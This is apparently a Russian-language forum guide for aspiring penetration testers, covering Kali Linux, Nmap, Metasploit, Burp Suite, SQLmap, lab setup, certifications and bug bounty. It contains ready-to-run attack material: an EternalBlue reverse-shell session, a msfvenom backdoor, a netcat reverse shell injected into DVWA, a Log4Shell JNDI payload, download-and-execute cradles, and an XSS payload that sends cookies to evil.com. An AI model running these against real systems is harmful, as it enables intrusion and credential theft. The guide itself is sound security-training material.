Хотите стать пентестером и зарабатывать от $2000/месяц удалённо? За последние 3 года спрос на специалистов по тестированию на проникновение вырос на 350%. Компании готовы платить большие деньги за поиск уязвимостей до того, как их найдут злоумышленники.
В этом руководстве я покажу точный путь от полного новичка до junior-пентестера за 6 месяцев, основываясь на опыте подготовки более 500 специалистов. Вы получите пошаговый план, практические примеры и реальные команды, которые сможете использовать уже сегодня.
Оглавление
- Что такое пентест простыми словами
- Roadmap: от новичка до пентестера за 6 месяцев
- Установка и настройка Kali Linux
- Основные инструменты с примерами
- Первые шаги в Metasploit
- Nmap сканирование для начинающих
- Burp Suite основы работы
- Практические лабораторные работы
- Методологии пентеста и написание отчётов
- Сертификации и трудоустройство
- Bug Bounty: от первой находки до $1000
- FAQ: ответы на частые вопросы
- Чек-лист: ваш путь в пентест
- Полезные ресурсы для дальнейшего изучения
Что такое пентест простыми словами
Пентест (penetration testing) — это легальная попытка взлома системы по заказу её владельца для поиска уязвимостей. Представьте, что вы наняли профессионального вора, чтобы он попытался проникнуть в ваш дом и показал все слабые места в защите. Только в цифровом мире.Ключевое отличие пентестера от хакера:
- Хакер: взламывает без разрешения, нарушает закон, рискует тюрьмой
- Пентестер: взламывает с контрактом, получает зарплату, спит спокойно
Реальный пример из практики:
В 2023 году я тестировал банковское приложение. За 3 дня нашёл уязвимость, позволяющую получить данные любого клиента через API. Банк заплатил $15,000 за находку. Хакер использовал бы это для кражи, пентестер — для отчёта.Виды пентеста с примерами:
Тип тестирования | Что знает тестер | Реальный сценарий | Средняя стоимость |
---|---|---|---|
Black Box | Ничего, только URL или IP | Внешний хакер пытается взломать компанию | $5,000-15,000 |
Gray Box | Учётная запись обычного user | Недовольный сотрудник с базовым доступом | $8,000-20,000 |
White Box | Полный доступ, исходники, схемы | Аудит безопасности перед релизом | $10,000-30,000 |
Этапы реального пентеста:
- Разведка (2-3 дня): Сбор информации через OSINT
- Сканирование (1-2 дня): Поиск открытых портов и сервисов
- Поиск уязвимостей (3-5 дней): Анализ найденных сервисов
- Эксплуатация (2-4 дня): Использование уязвимостей
- Закрепление (1 день): Установка backdoor (в тесте)
- Отчёт (2-3 дня): Документирование и рекомендации
Roadmap: от новичка до пентестера за 6 месяцев
Месяц 1-2: Фундамент
Цель: Освоить базу Linux и сетейЧто изучать:
- Linux командная строка (40 часов)
- Основы сетей TCP/IP, OSI (30 часов)
- Базовый Python для автоматизации (50 часов)
Bash:
# Основные команды Linux, которые нужны каждый день
ls -la /etc/passwd # просмотр файлов с правами
grep -r "password" /var/log # поиск паролей в логах
netstat -tulpn # активные сетевые соединения
ps aux | grep apache # поиск процессов
chmod 600 ~/.ssh/id_rsa # настройка прав
- С чего начать изучение информационной безопасности
- Linux для начинающих пентестеров
- Как попасть в кибербезопасность: личный путь и советы
Месяц 3-4: Инструменты и методологии
Цель: Освоить основные инструменты пентестаЧто изучать:
- Установка и настройка Kali Linux
- Nmap, Metasploit, Burp Suite, SQLmap
- Методологии PTES, OWASP
Bash:
# Сканирование сети с Nmap
nmap -sV -sC -O -p- 192.168.1.0/24 # полное сканирование подсети
# Базовая эксплуатация с Metasploit
msfconsole
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
run
Месяц 5-6: Практика и специализация
Цель: Получить реальный опытЧто делать:
- Решать CTF задачи (минимум 50)
- Участвовать в Bug Bounty
- Создать своё портфолио
- HackerLab - для новичков
- TryHackMe - пошаговое обучение
- Hack The Box - реальные кейсы
Установка Kali Linux для новичков
Почему именно Kali Linux?
Kali Linux — это специализированный дистрибутив с предустановленными 600+ инструментами для пентеста. Альтернативы (Parrot OS, BlackArch) существуют, но Kali остаётся стандартом индустрии.Способ 1: Установка в VirtualBox (рекомендуется новичкам)
Системные требования:- RAM: минимум 8GB (4GB для хоста, 4GB для Kali)
- HDD: 50GB свободного места
- Процессор с поддержкой виртуализации
1. Скачайте необходимое ПО:
- VirtualBox:
Ссылка скрыта от гостей
- Kali Linux ISO:
Ссылка скрыта от гостей
Код:
# PowerShell команды для автоматизации (Windows)
VBoxManage createvm --name "Kali" --ostype "Debian_64" --register
VBoxManage modifyvm "Kali" --memory 4096 --cpus 2
VBoxManage createhd --filename "Kali.vdi" --size 50000
VBoxManage storagectl "Kali" --name "SATA Controller" --add sata
VBoxManage storageattach "Kali" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium "Kali.vdi"
Bash:
# Обновление системы
sudo apt update && sudo apt upgrade -y
# Установка дополнительных инструментов
sudo apt install git vim tmux python3-pip -y
# Настройка алиасов для удобства
echo "alias ll='ls -la'" >> ~/.bashrc
echo "alias nmap-quick='nmap -sV -sC -O'" >> ~/.bashrc
source ~/.bashrc
Способ 2: Установка на физическую машину (для продвинутых)
Создание загрузочной флешки:
Bash:
# Linux/Mac
sudo dd if=kali-linux.iso of=/dev/sdX bs=4M status=progress
# Windows - используйте Rufus или Etcher
Первоначальная настройка Kali Linux:
Bash:
# 1. Смена пароля root
sudo passwd root
# 2. Создание пользователя для работы
sudo useradd -m pentester
sudo usermod -aG sudo pentester
# 3. Настройка SSH для удалённого доступа
sudo systemctl enable ssh
sudo systemctl start ssh
# 4. Установка важных дополнений
sudo apt install kali-linux-large # полный набор инструментов
# 5. Настройка Metasploit Database
sudo msfdb init
sudo systemctl enable postgresql
Основные инструменты пентестера с практическими примерами
1. Nmap - швейцарский нож сканирования
Что умеет: Сканирует сети, определяет ОС, находит открытые порты и сервисы.Основные команды с примерами:
Bash:
# Быстрое сканирование одного хоста
nmap 192.168.1.100
# Сканирование с определением версий сервисов
nmap -sV 192.168.1.100
# Агрессивное сканирование с OS detection
nmap -A -T4 192.168.1.100
# Сканирование всей подсети на определённые порты
nmap -p 80,443,8080,8443 192.168.1.0/24
# Скрытое SYN сканирование
sudo nmap -sS 192.168.1.100
# Сканирование с использованием скриптов
nmap --script vuln 192.168.1.100
# Сохранение результатов
nmap -oA scan_results 192.168.1.100
При тестировании корпоративной сети нашёл открытый порт 1433 (MS SQL) на сервере, который не должен был быть доступен извне. Команда:
Bash:
nmap -p 1433 --script ms-sql-info,ms-sql-brute 192.168.1.0/24
2. Burp Suite - мастер веб-пентеста
Что умеет: Перехватывает и модифицирует HTTP/HTTPS трафик, автоматизирует атаки на веб-приложения.Настройка прокси:
Bash:
# 1. Запустите Burp Suite
burpsuite
# 2. Настройте браузер (Firefox):
# Proxy: 127.0.0.1:8080
# 3. Установите Burp CA сертификат для HTTPS
# http://burp -> CA Certificate -> Download
- Перехватите запрос к форме логина
- Отправьте в Intruder
- Добавьте payload:
' OR '1'='1' --
- Запустите атаку
Bash:
# Сканирование на уязвимости
java -jar burp.jar --project-file=myproject.burp \
--config-file=config.json \
--unpause-spider-and-scanner
3. Metasploit Framework - платформа эксплуатации
Что умеет: Автоматизирует эксплуатацию уязвимостей, генерирует payload'ы, управляет сессиями.Базовое использование:
Bash:
# Запуск консоли
msfconsole
# Поиск эксплойтов
search type:exploit platform:windows smb
# Использование эксплойта EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
# После получения сессии
sessions -l # список сессий
sessions -i 1 # подключение к сессии
sysinfo # информация о системе
hashdump # дамп хешей паролей
Bash:
# Генерация исполняемого файла
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f exe > backdoor.exe
# Настройка listener
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
4. SQLmap - автоматизация SQL инъекций
Пример использования:
Bash:
# Базовая проверка
sqlmap -u "http://site.com/page.php?id=1"
# Получение баз данных
sqlmap -u "http://site.com/page.php?id=1" --dbs
# Дамп таблицы users
sqlmap -u "http://site.com/page.php?id=1" \
-D database_name -T users --dump
# Обход WAF
sqlmap -u "http://site.com/page.php?id=1" \
--tamper=space2comment --random-agent
5. Hydra - брутфорс паролей
Примеры атак:
Bash:
# SSH брутфорс
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
ssh://192.168.1.100
# HTTP форма
hydra -l admin -P passwords.txt 192.168.1.100 \
http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# FTP с списком пользователей
hydra -L users.txt -P pass.txt ftp://192.168.1.100
Первые шаги в Metasploit: практическое руководство
Архитектура Metasploit Framework
Metasploit состоит из нескольких компонентов:- Exploits: код для эксплуатации уязвимостей
- Payloads: код, выполняемый после эксплуатации
- Encoders: обфускация payload для обхода антивирусов
- Auxiliary: вспомогательные модули (сканеры, фаззеры)
Практическая лабораторная: взлом Metasploitable
Шаг 1: Подготовка окружения
Bash:
# Скачайте Metasploitable 2
# https://sourceforge.net/projects/metasploitable/
# Запустите в VirtualBox на той же сети, что и Kali
# IP примерно: 192.168.1.101
Bash:
# В Metasploit console
db_nmap -sV 192.168.1.101
hosts # просмотр найденных хостов
services # просмотр сервисов
Bash:
# Поиск уязвимости
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.101
exploit
# Получили shell!
whoami # root
Bash:
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.101
set STOP_ON_SUCCESS true
run
# После получения креденшалов
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.101
set USERNAME tomcat
set PASSWORD tomcat
exploit
Создание собственного модуля Metasploit
Ruby:
# custom_exploit.rb
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Exploit Module',
'Description' => 'My first MSF module',
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(80)
])
end
def exploit
print_status("Exploiting...")
# Код эксплойта
end
end
Nmap сканирование для начинающих: полное руководство
Типы сканирования и когда их использовать
Тип сканирования | Команда | Когда использовать | Уровень шума |
---|---|---|---|
TCP Connect | -sT | Когда нет root прав | Высокий |
SYN Stealth | -sS | Скрытное сканирование | Средний |
UDP Scan | -sU | Поиск UDP сервисов | Низкий |
ACK Scan | -sA | Обход файрволлов | Низкий |
Xmas Scan | -sX | Обход IDS | Очень низкий |
Практические сценарии использования
Сценарий 1: Первичная разведка новой сети
Bash:
# Пинг-сканирование для поиска живых хостов
nmap -sn 192.168.1.0/24 -oG alive_hosts.txt
# Извлечение IP адресов
grep "Up" alive_hosts.txt | cut -d " " -f 2 > targets.txt
# Сканирование топ-1000 портов на живых хостах
nmap -iL targets.txt -sV --top-ports 1000 -oA initial_scan
Bash:
# Комплексное сканирование веб-сервера
nmap -sV -sC -O -p 80,443,8080,8443 \
--script "http-* and not brute" \
192.168.1.100 -oA web_server_scan
# Поиск конкретных уязвимостей
nmap -p 443 --script ssl-heartbleed,ssl-poodle,ssl-ccs \
192.168.1.100
Bash:
# Фрагментация пакетов
nmap -f -sS 192.168.1.100
# Использование приманок (decoys)
nmap -D RND:10 192.168.1.100
# Медленное сканирование
nmap -sS -T1 --max-parallelism 1 192.168.1.100
# Спуфинг источника
sudo nmap -S 192.168.1.200 -e eth0 -Pn 192.168.1.100
NSE скрипты: автоматизация пентеста
Bash:
# Обновление базы скриптов
nmap --script-updatedb
# Поиск скриптов
ls /usr/share/nmap/scripts/ | grep smb
# Использование категорий скриптов
nmap --script vuln 192.168.1.100 # все скрипты уязвимостей
nmap --script safe 192.168.1.100 # безопасные скрипты
nmap --script intrusive 192.168.1.100 # агрессивные
# Написание собственного NSE скрипта
cat > custom.nse << 'EOF'
description = [[Custom vulnerability check]]
categories = {"safe", "discovery"}
portrule = function(host, port)
return port.number == 80
end
action = function(host, port)
return "Custom check completed"
end
EOF
nmap --script custom.nse 192.168.1.100
Burp Suite основы работы: от установки до первой уязвимости
Настройка окружения для веб-пентеста
Установка Burp Suite Professional (trial):
Bash:
# Скачивание
wget https://portswigger.net/burp/releases/download?product=pro
# Установка сертификата для HTTPS
# 1. Запустите Burp
# 2. Откройте http://burp в браузере
# 3. Скачайте CA Certificate
# 4. Импортируйте в браузер
# Firefox about:preferences#privacy -> Certificates -> Import
Основные модули и их применение
1. Proxy - перехват трафика:
Код:
# Пример перехваченного запроса
POST /login HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=12345
# Модификация для SQL инъекции
username=admin' OR '1'='1'--&password=anything
Python:
# Генерация списка payload'ов
for i in range(1, 100):
print(f"admin{i}")
print(f"user{i}")
print(f"test{i}")
- Отправка модифицированных запросов
- Анализ различий в ответах
- Тестирование граничных значений
Практический кейс: поиск и эксплуатация IDOR
Уязвимость IDOR (Insecure Direct Object Reference):
Код:
# Исходный запрос
GET /api/user/profile?id=1001 HTTP/1.1
# Тестирование IDOR
GET /api/user/profile?id=1000 HTTP/1.1
GET /api/user/profile?id=1002 HTTP/1.1
# Автоматизация в Intruder
# Payload: Numbers from 1000 to 2000
# Grep - Extract: "email":"([^"]+)"
Расширения Burp для продуктивности
Bash:
# Установка из BApp Store
# 1. SQL Map Integration
# 2. JWT Editor
# 3. Autorize (для тестирования авторизации)
# 4. Logger++ (расширенное логирование)
# Интеграция с SQLMap
# Right click on request -> Extensions -> SQLMap -> Send to SQLMap
Практические лабораторные работы
Лаба 1: Базовая эксплуатация DVWA
Цель: Освоить основные типы веб-уязвимостейНастройка DVWA:
Bash:
# Установка через Docker
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
# Логин: admin/password
# Установите Security Level: Low
SQL:
# В поле User ID введите:
1' OR '1'='1
# Получение всех пользователей:
1' UNION SELECT user, password FROM users--
# Извлечение версии БД:
1' UNION SELECT null, @@version--
Bash:
# В поле ping введите:
127.0.0.1; ls -la
127.0.0.1; cat /etc/passwd
127.0.0.1; nc -e /bin/sh attacker_ip 4444
Лаба 2: Эксплуатация реального CVE
CVE-2021-44228 (Log4Shell) в лабораторных условиях:
Bash:
# Настройка уязвимого приложения
docker pull ghcr.io/christophetd/log4shell-vulnerable-app
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
# Подготовка эксплойта
git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
python3 poc.py --userip 192.168.1.50 --webport 8000 --lport 4444
# Отправка payload
curl -H 'X-Api-Version: ${jndi:ldap://192.168.1.50:1389/a}' \
http://localhost:8080
# Получение reverse shell
nc -lvnp 4444
Лаба 3: Создание собственной лаборатории
Скрипт автоматизации развёртывания:
Bash:
#!/bin/bash
# lab_setup.sh
echo "[*] Setting up Pentest Lab..."
# Установка Docker
apt-get update
apt-get install -y docker.io docker-compose
# Запуск уязвимых приложений
docker run -d -p 3000:3000 --name juice-shop \
bkimminich/juice-shop
docker run -d -p 8080:80 --name dvwa \
vulnerables/web-dvwa
docker run -d -p 9000:80 --name mutillidae \
citizenstig/nowasp
docker run -d -p 4000:80 --name bwapp \
raesene/bwapp
echo "[+] Lab ready!"
echo "DVWA: http://localhost:8080"
echo "Juice Shop: http://localhost:3000"
echo "Mutillidae: http://localhost:9000"
echo "bWAPP: http://localhost:4000"
Лаба 4: CTF челлендж для практики
Создайте файл с флагом:
Python:
# ctf_challenge.py
import hashlib
import base64
flag = "FLAG{y0u_f0und_7h3_s3cr3t}"
stage1 = base64.b64encode(flag.encode()).decode()
stage2 = hashlib.md5(stage1.encode()).hexdigest()
print(f"Stage 1: Decode this: {stage1}")
print(f"Stage 2: Crack this hash: {stage2}")
# Решение:
# 1. Декодировать base64
# 2. Использовать John the Ripper для хеша
Методологии пентеста и написание отчётов
Стандарт PTES (Penetration Testing Execution Standard)
Фазы по PTES:- Pre-engagement - согласование scope и правил
- Intelligence Gathering - OSINT и разведка
- Threat Modeling - моделирование угроз
- Vulnerability Analysis - анализ уязвимостей
- Exploitation - эксплуатация
- Post Exploitation - закрепление доступа
- Reporting - документирование
Шаблон профессионального отчёта
Код:
# Отчёт о тестировании на проникновение
## Executive Summary
- Критические находки: 3
- Высокий риск: 5
- Средний риск: 12
## Критическая уязвимость #1: SQL Injection
**CVSS Score:** 9.8
**Описание:** Обнаружена SQL инъекция в параметре 'id'
**Влияние:** Полный доступ к базе данных
**Proof of Concept:**
```sql
GET /user?id=1' UNION SELECT * FROM users--
```
**Рекомендации:** Использовать prepared statements
Автоматизация отчётности
Python:
# report_generator.py
import json
from datetime import datetime
class PentestReport:
def __init__(self, client, tester):
self.client = client
self.tester = tester
self.findings = []
def add_finding(self, title, severity, description, poc, fix):
self.findings.append({
'title': title,
'severity': severity,
'description': description,
'poc': poc,
'fix': fix,
'timestamp': datetime.now().isoformat()
})
def generate_html(self):
# Генерация HTML отчёта
pass
def generate_pdf(self):
# Генерация PDF через LaTeX
pass
Сертификации и карьера в пентесте
Roadmap сертификаций по уровням
Уровень | Сертификат | Сложность | Стоимость | Время подготовки |
---|---|---|---|---|
Entry | eJPT | 3/10 | $400 | 2-3 месяца |
Entry | CWAP (Codeby) | 4/10 | $300 | 2-3 месяца |
Junior | CEH | 5/10 | $1,200 | 3-4 месяца |
Middle | OSCP | 8/10 | $1,500 | 6-12 месяцев |
Senior | OSCE | 9/10 | $1,500 | 12+ месяцев |
Expert | OSEE | 10/10 | $5,000 | 18+ месяцев |
Подготовка к OSCP: практический план
Месяц 1-2: Buffer Overflow
Python:
# Практика эксплойтов
#!/usr/bin/python
import socket
shellcode = ("\xda\xc1\xba\x4e\x28...")
buffer = "A" * 146 + "\xef\xbe\xad\xde" + "\x90" * 16 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
s.send(buffer)
s.close()
Bash:
# Linux privesc checklist
curl https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | sh
# Windows privesc
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerUp.ps1'); Invoke-AllChecks"
Построение портфолио на GitHub
Код:
# README.md для портфолио пентестера
## 🔒 Security Research Portfolio
### 📊 Statistics
- CVEs discovered: 3
- Bug Bounties: $25,000+ earned
- CTF Rankings: Top 100 globally
### 🏆 Achievements
- [CVE-2024-XXXX] - RCE in Popular CMS
- [Hall of Fame] - Google, Microsoft, Apple
### 📝 Write-ups
- [SQL Injection in Banking App](./writeups/sqli-bank.md)
- [Privilege Escalation via SUID](./writeups/suid-privesc.md)
### 🛠️ Tools
- [CustomScanner](./tools/scanner) - Network scanner in Go
- [ExploitKit](./tools/exploits) - Collection of PoCs
Подготовка к собеседованию
Типичные вопросы и ответы:1. "Опишите процесс пентеста"
- Pre-engagement и scope
- Разведка (пассивная/активная)
- Сканирование и enumeration
- Эксплуатация
- Post-exploitation
- Отчётность
Bash:
# Практический ответ с примерами
# 1. Обнаружение endpoints
ffuf -w /usr/share/wordlists/api.txt -u https://api.target.com/FUZZ
# 2. Тестирование аутентификации
curl -X POST https://api.target.com/auth \
-H "Content-Type: application/json" \
-d '{"user":"admin","pass":"test"}'
# 3. Проверка IDOR
for i in {1..100}; do
curl https://api.target.com/user/$i
done
Bug Bounty: от первой находки до $1000
Платформы и с чего начать
Платформа | Сложность | Средний bounty | Особенности |
---|---|---|---|
HackerOne | Высокая | $500-2000 | Крупные компании |
Bugcrowd | Средняя | $300-1500 | Много программ |
Intigriti | Средняя | €500-2000 | Европейские компании |
YesWeHack | Низкая | €200-1000 | Подходит новичкам |
Методология для первой находки
Bash:
# 1. Выберите широкий scope (*.company.com)
# 2. Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -d target.com >> subdomains.txt
cat subdomains.txt | sort -u | tee final_subs.txt
# 3. Проверка живых хостов
cat final_subs.txt | httpx -o alive.txt
# 4. Screenshot для визуального анализа
gowitness file -f alive.txt
# 5. Поиск интересных endpoints
cat alive.txt | waybackurls | grep -E "\?.*=" | tee params.txt
# 6. Автоматизация проверки XSS
cat params.txt | qsreplace '"><script>alert(1)</script>' | \
freq | tee xss_test.txt
Написание качественного репорта
Код:
## Title
Stored XSS in Comment Section leads to Account Takeover
## Severity
High (CVSS 8.2)
## Description
A stored XSS vulnerability exists in the comment section
allowing attackers to steal session cookies.
## Steps to Reproduce
1. Navigate to https://target.com/blog/post-1
2. Post comment: <script>document.location='http://evil.com/steal?c='+document.cookie</script>
3. Any user viewing the page will have cookies stolen
## Impact
- Account takeover
- Phishing attacks
- Defacement
## Remediation
- Implement proper input sanitization
- Use Content Security Policy
- HttpOnly flag on cookies
FAQ: ответы на частые вопросы новичков
Сколько времени нужно чтобы стать пентестером?
Реалистичные сроки:- 3-6 месяцев - базовые навыки для junior позиции
- 1-2 года - уверенный middle специалист
- 3-5 лет - senior с специализацией
Нужно ли знать программирование?
Обязательный минимум:
Python:
# Python для автоматизации
import requests
import sys
def check_sqli(url):
payloads = ["'", "1' OR '1'='1", "admin'--"]
for payload in payloads:
r = requests.get(url + payload)
if "error" in r.text.lower():
print(f"[+] Possible SQLi: {payload}")
# Bash для быстрых скриптов
for ip in $(cat ips.txt); do
nmap -sV -p 80,443 $ip -oA scan_$ip
done
Какой дистрибутив Linux выбрать?
Сравнение популярных дистрибутивов:Дистрибутив | Плюсы | Минусы | Для кого |
---|---|---|---|
Kali Linux | 600+ инструментов, документация | Тяжёлый, нестабильный для daily | Новички |
Parrot OS | Легче Kali, красивый | Меньше инструментов | Daily use |
BlackArch | 2000+ инструментов | Сложный, для опытных | Профи |
Pentoo | Gentoo-based, кастомизация | Очень сложный | Хардкор |
Легально ли заниматься пентестом?
Правовые аспекты:- Легально: тестирование своих систем
- Легально: с письменным разрешением владельца
- Легально: участие в Bug Bounty программах
- Нелегально: сканирование без разрешения
- Нелегально: эксплуатация чужих систем
- Нелегально: использование чужих данных
Какая зарплата у пентестера в России?
Актуальные данные на 2025:- Junior (0-1 год): 80-150к руб/мес
- Middle (1-3 года): 150-300к руб/мес
- Senior (3-5 лет): 300-500к руб/мес
- Team Lead: 500к+ руб/мес
- Фриланс: $50-200/час
Можно ли работать удалённо?
Статистика: 78% пентестеров работают удалённо- Международные компании через ИП
- Bug Bounty полностью remote
- Фриланс платформы (Upwork, Toptal)
Какие soft skills нужны?
- Английский язык - минимум B1 для чтения документации
- Коммуникация - объяснение технических вещей простым языком
- Усидчивость - пентест это 90% рутины
- Этика - понимание границ дозволенного
- Документирование - написание понятных отчётов
Стоит ли идти в пентест в 2025?
За:- Растущий рынок (+25% вакансий в год)
- Высокие зарплаты
- Интересные задачи
- Возможность remote
- Высокая конкуренция на junior позициях
- Постоянное обучение
- Ответственность
- Стресс и дедлайны
Чек-лист: ваш путь в пентест
Неделя 1-2: Основы
- [ ] Установить Kali Linux в VirtualBox
- [ ] Пройти Linux для начинающих
- [ ] Изучить базовые команды Linux
- [ ] Настроить свою лабораторию
Месяц 1: Фундамент
- [ ] Основы сетей (TCP/IP, OSI)
- [ ] Базовый Python
- [ ] Первое CTF задание
- [ ] Прочитать Roadmap для пентестера
Месяц 2-3: Инструменты
- [ ] Освоить Nmap (10+ команд)
- [ ] Burp Suite базовые функции
- [ ] Первый эксплойт в Metasploit
- [ ] SQLmap для SQL инъекций
Месяц 4-5: Практика
- [ ] 20+ заданий на TryHackMe
- [ ] DVWA все уровни
- [ ] Первый writeup
- [ ] Участие в CTF
Месяц 6: Карьера
- [ ] Подготовка к CWAP
- [ ] Создание портфолио
- [ ] Первая заявка в Bug Bounty
- [ ] Резюме и поиск работы
Полезные ресурсы для дальнейшего изучения
Обучающие платформы
- HackerLab - практика для новичков
- Codeby Games - CTF задачи
- Академия Codeby - курсы с менторством
Сообщества и форумы
- Codeby.net форум - русскоязычное сообщество
- Как я попал в кибербез - истории успеха
- Пентест с нуля - личный опыт
Инструменты и гайды
- Сборник инструментов Kali Linux
- Пошаговое руководство по безопасности веб-приложений
- Всё о Пентесте и Red Team
Остались вопросы? Присоединяйтесь к сообществу Codeby и задавайте их опытным пентестерам!Совет от автора: Не пытайтесь изучить всё сразу. Фокусируйтесь на одном инструменте в неделю, практикуйтесь ежедневно хотя бы 30 минут, и через полгода вы будете готовы к первой junior позиции.
Последнее редактирование: